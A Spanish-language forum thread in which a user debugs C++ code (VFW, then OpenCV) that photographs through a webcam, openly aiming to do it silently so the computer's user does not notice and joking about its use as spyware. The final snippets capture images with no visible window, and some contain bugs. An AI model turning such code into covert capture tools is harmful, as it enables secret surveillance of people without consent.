Ayuda haciendo foto cpp

Iniciado por Kaxperday, 9 Octubre 2014, 00:06 AM

0 Miembros y 1 Visitante están viendo este tema.

Kaxperday

Vaya hola de nuevo, pensaba que la función que hice que se encargaba de hacer una foto por la webcam no me funciona, pues la programé pero no la probé, tengo esto:

Código (cpp) [Seleccionar]

void photo()
{
HWND captura;

captura = GetForegroundWindow();

for (int i = 0; i<5; i++)
{
capGrabFrame(captura);
Sleep(50);
}

capFileSaveDIB(captura, "prueba.bmp");

capPreview(captura, FALSE);
DestroyWindow(captura);
captura = NULL;
}


Me compila pero no me aparece el archivo prueba.bmp en el proyecto, ¿qué puede fallar? Me he guiado a partir de este tema:

http://foro.elhacker.net/programacion_cc/capturar_webcam_devc-t171392.0.html

Edito: Vaya he probado otros códigos como por ejemplo este que si me compila en codeblocks pero no en MVS13 porque no se como linkar la libreria libvfw32.a lo que da lugar a errores.

Otro código:

Código (cpp) [Seleccionar]
void photo()
{
HWND hwndMain; // main window handle
HWND hwndVideo; // video capture window
char szDeviceName[80]; // driver name
char szDeviceVersion[80]; // driver version
char item[161]; // concatinated string
int i; // counter


//-----------------------------------------------------------------------------
//-----------------Para Obtener el HWND de la consola , sacado de msdn------
#define MY_BUFSIZE 1024
// char pszNewWindowTitle[MY_BUFSIZE];
char pszOldWindowTitle[MY_BUFSIZE];


GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE);
cout << pszOldWindowTitle << endl;
SetConsoleTitle("deraradfsfsa");

Sleep(40);

hwndMain = FindWindow(NULL, "deraradfsfsa");
SetConsoleTitle(pszOldWindowTitle);
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------

//----------------------------Mostrar Drivers---------------------------------
for (i = 0; i<10; i++)
{

if (capGetDriverDescription(i, szDeviceName, sizeof(szDeviceName), szDeviceVersion, sizeof(szDeviceVersion)))
{
strcpy_s(item, szDeviceName);
strcat_s(item, " ");
strcat_s(item, szDeviceVersion);
cout << item << endl;


}
}
//------------------------Proceso de captura----------------------------------

hwndVideo = capCreateCaptureWindow("My Capture Window", WS_VISIBLE, 0, 0, 640, 480, hwndMain, 0);
capDriverConnect(hwndVideo, 0);
capPreviewRate(hwndVideo, 66);
capPreview(hwndVideo, true);


capDlgVideoSource(hwndVideo);

/*for(int i=0;i<25;i++)
{
capGrabFrame(hwndVideo);
}*/

capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp");


capPreview(hwndVideo, FALSE);
DestroyWindow(hwndVideo);
hwndVideo = NULL;

system("Pause");
}


En propiedades proyecto/vinculador/entrada puedo añadir librerias .lib, las .a no las reconoce, en el codeblocks si que se podían incluir, pero en este he buscado y no se como, estaría bien que me dijerais si sabéis.

Al compilar da errores y pone:

Error   3   error LNK2019: símbolo externo _capCreateCaptureWindowA@32 sin resolver al que se hace referencia en la función "void __cdecl photo(void)" (?photo@@YAXXZ)

Error   4   error LNK2019: símbolo externo _capGetDriverDescriptionA@20 sin resolver al que se hace referencia en la función "void __cdecl photo(void)" (?photo@@YAXXZ)   

Ya digo creo que son porque no tengo la librería libvfw32.a, de todas formas la cabecera que tengo tiene:

Código (cpp) [Seleccionar]
#include <windows.h>
#include <iostream>
#include <cstdio>
#include <fstream>
#include <cstring>
#include <vfw.h>
#define MY_BUFSIZE 1024
using namespace std;

void photo();


El programa da errores, en este code y en el otro si me compila pero no funciona xP

Saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

Eternal Idol

Las librerias de VC++ son .lib, en este caso necesitas la Vfw32.lib como bien dice en la MSDN.

http://msdn.microsoft.com/en-us/library/windows/desktop/dd756879%28v=vs.85%29.aspx
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

Kaxperday

#2
Ya veo de eso me estaba dando cuenta ahora, al intentar linkar una librería y al abrirla vi que las ".a" que serán para el codeblocks no las reconocía luego linkare la que me pone en el link, :))

Edito: Vaya vaya funcionó ahora probaré a quitar el posit que tapa la webcam y trataré de modificar el codigo para que no muestre os drivers ni habra ventanas.

Vaya pensé que funcionaría me sale la foto toda de negro, el código es el siguiente:

Código (cpp) [Seleccionar]

void photo()
{
#define MY_BUFSIZE 1024
HWND hwndMain;
HWND hwndVideo;
char szDeviceName[80];
char szDeviceVersion[80];
char item[161];
int i;

char pszOldWindowTitle[MY_BUFSIZE];

GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE);
SetConsoleTitle("deraradfsfsa");

Sleep(40);

hwndMain = FindWindow(NULL, "deraradfsfsa");

SetConsoleTitle(pszOldWindowTitle);
hwndVideo = capCreateCaptureWindow("My Capture Window", NULL, 0, 0, 640, 480, hwndMain, 0);


capDlgVideoSource(hwndVideo);

for(int i=0;i<25;i++)
{
capGrabFrame(hwndVideo);
}

capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp");

capPreview(hwndVideo, FALSE);
DestroyWindow(hwndVideo);
hwndVideo = NULL;
}


Conseguí quitar las ventanas (aunque en las ventanas elegía el programa para hacer la foto (ciberlink y otro más había) pero antes aun eligiendo programa el programa se bloqueaba, no sé.

¿Es que tengo que elegir un programa externo para que haga la foto? xD y de ser así no puedo coger el de por defecto en vez de tener que clickar uno? xp

El archivo se crea bien, pero pero es todo de negro, la cámara no enciende la lucecita, no debe de trabajar esto.

Saludos




Venga animo, seguro sabéis algo que lo necesito cuanto antes xP, luego subiré más códigos he ire probando yo solo quiero qur haga una foto y cuando el programa reciba una orden el usuario no se debería de dar cuenta vale si sale una luz en la wrbcam pero de lo demas no se debe de enterar ¿qué le falla a mi último code?

Edito: Por lo visto hay que elegir un driver como hp services o ciberlink en mi caso, aun asi no me rula , y se te abre la ventana para elegir driver no puedes cogerlo tu por defecto luego no es muy eficaz arma de spyware xd

Saludos
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

Kaxperday

#3
Hola a todos, he estado haciendo progresos, ya he conseguido hacer una foto formato bmp, el problema es que me pide elegir un programa para hacer las fotos a través de esta función: capDriverConnect(), yo lo que quiero es elegir el programa automaticamente, o buscar otro driver de otra manera.


Código (cpp) [Seleccionar]

void photo2()
{
               int driver=0;
HWND hwndMain;
HWND hwndVideo;
char szDeviceName[80];
char szDeviceVersion[80];
char item[161];
int i;

char pszOldWindowTitle[MY_BUFSIZE];

GetConsoleTitle(pszOldWindowTitle, MY_BUFSIZE);
SetConsoleTitle("deraradfsfsa");

Sleep(40);

hwndMain = FindWindow(NULL, "deraradfsfsa");

SetConsoleTitle(pszOldWindowTitle);
hwndVideo = capCreateCaptureWindow("My Capture Window", NULL, 0, 0, 640, 480, hwndMain, 0);
capDriverConnect(hwndVideo, 0);//Te abre ventana para elegir driver (quiero que no salga que lo haga automatico
capPreviewRate(hwndVideo, 100);
capPreviewScale(hwndVideo, false);
capPreview(hwndVideo, true);


capDlgVideoSource(hwndVideo);

for (int i = 0; i<25; i++)//Aclara un poco la foto.
{
capGrabFrame(hwndVideo);
}

capFileSaveDIB(hwndVideo, "C:\\Users\\Usuario\\Desktop\\captura.bmp");

capPreview(hwndVideo, FALSE);
DestroyWindow(hwndVideo);
hwndVideo = NULL;
}


La foto la hace pero al hacerla sale una ventana que me pide elegir un programa externo para hacer la imagen, puedo evitar eso?

Estoy probando también con esto para capturar el driver:

Código (cpp) [Seleccionar]
/*capDriverConnect(hwndVideo, 0);
WM_CAP_DRIVER_CONNECT wParam = (WPARAM)(iIndex);
lParam = 0D;*/
while (!SendMessage(hwndVideo, WM_CAP_DRIVER_CONNECT, driver,0))
{
driver++;
if (driver>9)
{
DestroyWindow(hwndVideo);
printf("fallo al intentar conectar");
break;
}
}


Funciones:

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644950(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/dd743891(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/dd756885(v=vs.85).aspx

Pero aun asi sale la ventana x[]

Saludos.
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.

Kaxperday

#4
Hola a todos gente, a pesar de que no tuve mucha información no me rendí y conseguí hacerlo funcionar sin necesidad de que salga ventana, es decir en modo silencioso :)

Aquí el código:

Código (cpp) [Seleccionar]

void photo()//Hace 2 fotos ojo para 2 driver cuidado si tiene menos o mas. (poner para 0). o comprobar
{
int driver = 0;
do
{
CvCapture* capture = cvCaptureFromCAM(driver);
if (!capture)
{
break;
}
IplImage* frame = cvQueryFrame(capture);
if (!frame)
{
continue;
}
if (driver == 0)
{
cvSaveImage("pic0.jpg", frame);
cvReleaseCapture(&capture);
}
else
{
cvSaveImage("pic1.jpg", frame);
cvReleaseCapture(&capture);
}
driver++;
} while (driver < 3);
}


Lo que pasa es que en cvCaptureFromCAM(driver), si driver es "0" me pilla la ciberlink y me manda una foto falsa de una imagen de una webcam, no de la imagen que saca la webcam, sin embargo si meto un "1"  me pilla el driver de HP services y  ahí si que me saca la foto, pero claro esto para mi ordenador, si yo quiero usar otro ordenador y asegurarme de que no me salgan fotos fake como la de ciberlink que código debería usar?

Aquí lo que hice fue que saque 2 fotos para los 2 primeros driver, pero claro yo quiero solo una y quiero asegurarme de que no sea una foto fake, sabéis algo?

Edito: Bueno os dejo el método automatizado que acabo de hacer:

Código (cpp) [Seleccionar]

int photo()//Hace 2 fotos ojo para 2 driver cuidado si tiene menos o mas. (poner para 0). o comprobar
{
int driver = 0;
char nombre[20],numero[10];
do
{
CvCapture* capture = cvCaptureFromCAM(driver);
if (!capture)
{
break;
}
IplImage* frame = cvQueryFrame(capture);
if (!frame)
{
continue;
}
free(nombre);
itoa(driver, numero, 10);
strcpy(nombre, "pic");
strcat(nombre, numero);
strcat(nombre, ".jpg");
cvSaveImage(nombre, frame);
cvReleaseCapture(&capture);
driver++;
} while (driver < 3);
return driver;
}


Vaya para el video ocurre exactamente lo mismo, ademas no graba audio, tengo trabajo aun xd

Saludos. (uso open cv xD)
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.